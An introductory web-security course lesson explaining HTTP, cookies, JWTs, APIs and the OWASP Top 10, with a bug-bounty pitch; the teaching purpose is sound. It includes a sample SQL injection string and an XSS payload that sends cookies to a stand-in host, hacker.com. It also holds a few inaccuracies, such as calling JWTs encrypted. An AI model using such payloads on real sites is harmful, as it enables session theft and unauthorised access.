Lesson Introduction

You cannot break what you do not understand. Before you can find a vulnerability in a website, you need to understand the underlying mechanics of the web. Most people think the internet is just “magic pictures on a screen.” As a security professional, you know better. You know that every button click, every form submission, and every image load is actually a highly structured conversation happening between two machines using specific protocols.

In this lesson, we are going to tear apart the illusion of the web browser. You will learn exactly what happens when you type a URL into your browser, how websites remember who you are (without you logging in every time), and the definitive list of the most dangerous web vulnerabilities on the planet: The OWASP Top 10.

Deep Dive: The Anatomy of a Web Request When you go to amazon.com and search for “laptop,” your browser and Amazon’s server have a conversation. This conversation happens using HTTP (Hypertext Transfer Protocol) or HTTPS (the secure, encrypted version).

Every conversation consists of a Request (you asking for data) and a Response (the server giving you data). Let’s look at the anatomy of an HTTP Request. It has three main parts:

1. The Request Line (The Action): This tells the server what you want to do. It consists of an HTTP Method (like GET or POST) and the path (like /search?q=laptop).
   • GET Requests: Used to retrieve data. When you click a link to read a blog post, your browser sends a GET request. GET requests put their data in the URL (e.g., ?id=123). Because of this, you should never send sensitive data (like passwords) in a GET request, as it gets saved in the browser history and server logs.
   • POST Requests: Used to send data to be processed. When you log into a website, you send a POST request. The data (your username and password) is hidden inside the “body” of the request, not the URL.
2. The Headers (The Metadata): Headers provide context. They tell the server what kind of browser you are using (User-Agent), what type of data you can accept (Accept), and if you have a session token (Cookie).
3. The Body (The Payload): Only used in POST, PUT, or PATCH requests. This is where the actual form data (like your login credentials) lives.

Deep Dive: State Management (Cookies, Sessions, and Tokens) HTTP is a “stateless” protocol. This means the server has amnesia. If you request page 1, and then request page 2, the server doesn’t inherently know that both requests came from the same person.

But wait, Amazon keeps items in my shopping cart even if I navigate to different pages! How? Through State Management.

• The Old Way (Sessions & Cookies): When you log in, the server creates a temporary file on its own hard drive called a “Session.” It assigns this session a random ID (e.g., session_id=abc123). The server tells your browser, “Hey, store this ID in a text file called a Cookie.” Every time you click a new page, your browser sends that cookie back to the server. The server sees abc123, looks up the file, and says, “Ah, this is John, here is his shopping cart.”
  • Security Flaw: If a hacker steals your abc123 cookie, they can paste it into their own browser, and the server will think the hacker is you. This is called Session Hijacking.
• The Modern Way (Tokens/JWT): Instead of the server saving a file, the server creates a JSON Web Token (JWT). A JWT is a string of text that contains encrypted data about you (like your user ID and role). The server gives this token to you, and your browser sends it on every request. The server doesn’t need to save anything; it just verifies the cryptographic signature on the token to ensure it hasn’t been tampered with.
  • Security Flaw: If the token is not properly signed, a hacker can alter the token (e.g., changing "role": "user" to "role": "admin") and gain administrative access. This is called JWT Signature Forgery.

Deep Dive: APIs (The Invisible Web Apps) When you use the Uber app on your phone, you aren’t looking at a traditional webpage. Your phone is talking to Uber’s servers through an API (Application Programming Interface). APIs don’t return HTML (web pages); they return raw data, usually in JSON format (e.g., {"driver": "Mike", "car": "Toyota", "license": "XYZ-123"}).

• The Security Reality: Hackers love APIs because developers often forget to secure them. A web app might have strict security on the front-end (hiding the “Admin” button if you aren’t an admin), but if the API endpoint /api/v1/admin/deleteUser exists, a hacker can just send a request directly to that API and bypass the front-end restrictions entirely. This is called Broken Object Level Authorization (BOLA) and it is currently one of the most profitable bug bounty findings.

Deep Dive: The OWASP Top 10 (2021) OWASP (Open Worldwide Application Security Project) is a non-profit foundation dedicated to improving software security. Every few years, they release a list of the 10 most critical web application security risks. This list is the absolute foundation of web app security. If you master these 10 vulnerabilities, you can find bugs on almost any website.

Here are the most critical ones you need to understand right now:

• A01:2021 – Broken Access Control: Simply put, the system fails to check if you are allowed to do what you are trying to do.
  • Example: You log into your bank account. Your account number is 123456. You change the URL in your browser from account=123456 to account=123457. If the server shows you someone else’s bank balance, that is Broken Access Control (specifically, an Insecure Direct Object Reference or IDOR).
• A03:2021 – Injection: This happens when you send untrusted data to an interpreter as part of a command or query.
  • Example (SQL Injection): A login form asks for a username and password. You type ' OR 1=1 -- into the username box. If the website is vulnerable, it stitches your input directly into a database query. The query becomes: SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = ''. Because 1=1 is always true, the database returns all users, and the website logs you in as the first user in the database—which is usually the administrator.
• A05:2021 – Security Misconfiguration: This is the most common vulnerability. It happens when developers leave default settings, open cloud storage, or reveal verbose error messages.
  • Example: A developer leaves a default admin password (admin/admin) on a backend database portal. Or, a server is configured to list all the files in a directory if no index.html page exists (Directory Listing).
• A07:2021 – Identification and Authentication Failures: Weak passwords, lack of multi-factor authentication (MFA), or allowing brute-force attacks.
  • Example: A website allows you to guess passwords infinitely without locking you out after 5 failed attempts.
• A03:2021 – Cross-Site Scripting (XSS): Injecting malicious client-side scripts into web pages viewed by other users.
  • Example: You post a comment on a blog: <script>document.location='http://hacker.com/steal?cookie='+document.cookie</script>. If the website doesn’t sanitize this input, everyone who views that blog post will have their session cookies silently sent to the hacker.

Hands-On Tutorial: Inspecting Web Traffic with Browser DevTools You don’t need a fancy tool to see HTTP requests. Your browser already has one.

1. Open Google Chrome or Firefox.
2. Right-click anywhere on a blank space of this LMS page and select “Inspect” or “Inspect Element.”
3. A panel will open. Click on the “Network” tab at the top of that panel.
4. Refresh the page (Press F5).
5. You will see a waterfall of requests appear. Click on the very first one (usually the main document).
6. Look at the Headers section on the right. You can see the Request Method (likely GET), the User-Agent (identifying your browser), and any Cookies being sent.
7. Click on the “Response” tab. You will see the raw HTML code that your browser rendered into the visual page you are reading.

Real-World Case Study: The Capital One Breach (2019) In 2019, a former Amazon Web Services (AWS) employee exploited a Server-Side Request Forgery (SSRF) vulnerability (now categorized under Broken Access Control in the new OWASP Top 10) on Capital One’s web application firewall (WAF). By sending a specially crafted request to the WAF’s API, the attacker tricked the server into fetching internal AWS metadata credentials. Those credentials allowed the attacker to access dozens of AWS S3 storage buckets containing the sensitive data of over 100 million Capital One customers. The breach happened because an API endpoint was misconfigured to trust internal requests blindly. It cost Capital One over $190 million in fines and damages.

🧠 Did You Know? The original OWASP Top 10 list was released in 2003. Injection vulnerabilities (like SQL Injection) held the #1 spot for over a decade until 2021, when Broken Access Control finally dethroned it. This shows how much harder it is to fix human logic errors (Access Control) than it is to fix technical coding errors (Injection).

⚠️ Common Mistakes to Avoid

• Confusing Client-Side and Server-Side: Beginners often hide an “Admin” button using HTML/CSS and think the site is secure. Remember: Client-side security (HTML, Javascript) is just for show. A hacker will bypass it and talk directly to the server-side API.
• Assuming HTTPS Means Secure: HTTPS only encrypts the data in transit between your browser and the server. It does NOT mean the server is secure. You can have a perfectly encrypted connection to a server that is highly vulnerable to SQL Injection.

🛡️ Best Practices for Defenders

• Never Trust User Input: This is the golden rule of web development. Always validate, sanitize, and encode any data that a user submits before processing it or displaying it on the screen.
• Implement Principle of Least Privilege: API keys and database credentials should only have the absolute minimum permissions necessary to function.

🧩 Mini Challenge Go to google.com and open your Network tab in DevTools. Type a search query and hit enter. Find the HTTP request that was sent to execute your search. Look at the URL. Can you identify which part of the URL is your search query? (Hint: Look for a ?q= parameter).

❓ Reflection Questions

• If a website uses a JWT to store your user role, and you figure out how to change your role from “user” to “admin” in the token, why won’t the server accept it unless you also figure out how to forge the server’s secret signing key?
• Why is an IDOR vulnerability considered a failure of “Broken Access Control” rather than “Injection”?

📝 Lesson 4.1 Summary In this lesson, we stripped away the magic of the web browser. You learned that the web operates on HTTP Requests and Responses, using GET to retrieve data and POST to send it. You discovered how stateless servers use Cookies, Sessions, and JWTs to remember you—and how attackers exploit these mechanisms. Finally, we introduced the OWASP Top 10, the definitive roadmap for finding web vulnerabilities, highlighting critical flaws like Broken Access Control, Injection, and XSS.

🔑 Key Takeaways

• The web is just a series of HTTP requests (asking for data) and responses (receiving data).
• GET requests put data in the URL; POST requests put data in the body.
• Cookies and Tokens are used to maintain state, but if stolen or forged, they lead to account takeovers.
• APIs are the new frontier, often suffering from Broken Access Control (IDOR/BOLA).
• The OWASP Top 10 is the ultimate cheat sheet for where web applications are most likely to be broken.

📖 Lesson 4.1 Comprehensive Glossary

• HTTP (Hypertext Transfer Protocol): The foundational protocol for data communication on the World Wide Web.
• HTTPS (HTTP Secure): HTTP encrypted using TLS (Transport Layer Security) to prevent eavesdropping and tampering.
• GET Request: An HTTP method used to request data from a specified resource. Data is sent in the URL.
• POST Request: An HTTP method used to send data to a server to create/update a resource. Data is sent in the request body.
• Header: Additional information passed in an HTTP request or response, such as content type or cookies.
• Cookie: A small piece of data stored on the user’s computer by the web browser while browsing a website, used to remember stateful information.
• Session: A period of communication between two systems, usually tracked server-side via a Session ID stored in a cookie.
• JWT (JSON Web Token): An open standard (RFC 7519) for securely transmitting information between parties as a JSON object, often used for authentication.
• API (Application Programming Interface): A set of protocols and tools for building software; in web security, usually refers to endpoints that return raw data (JSON/XML) instead of HTML.
• OWASP Top 10: A standard awareness document representing a broad consensus about the most critical security risks to web applications.
• SQL Injection (SQLi): A code injection technique used to attack data-driven applications, in which malicious SQL statements are inserted into entry fields for execution.
• XSS (Cross-Site Scripting): A type of injection attack in which malicious scripts are injected into otherwise trusted websites.
• IDOR (Insecure Direct Object Reference): A type of access control vulnerability where the application exposes internal implementation objects (like database IDs) to the user, allowing them to bypass authorization and access other users’ data.

📚 The Resource Vault

• Must-Read: The Official OWASP Top 10 (2021) – Read the detailed descriptions and prevention methods for each of the 10 vulnerabilities.
• Interactive Learning: PortSwigger Web Security Academy – This is your new bible. Created by the makers of Burp Suite, this is 100% free, highly interactive, and universally considered the best web security training platform on earth. Create an account immediately.
• Deep Dive Reading: “The Web Application Hacker’s Handbook” by Dafydd Stuttard and Marcus Pinto. This is the definitive textbook on web hacking. It is older, but the core concepts remain identical.

💰 The Monetization Angle: The Bug Bounty Gateway Web application vulnerabilities are the #1 way beginners make their first $1,000 online. Companies like Google, Apple, and Uber pay independent hackers (like you) to find flaws in their web apps before the bad guys do. A simple IDOR (viewing someone else’s account) can pay $500-$2,000. A severe SQL injection can pay $10,000+. The OWASP Top 10 is literally a map to where the money is buried.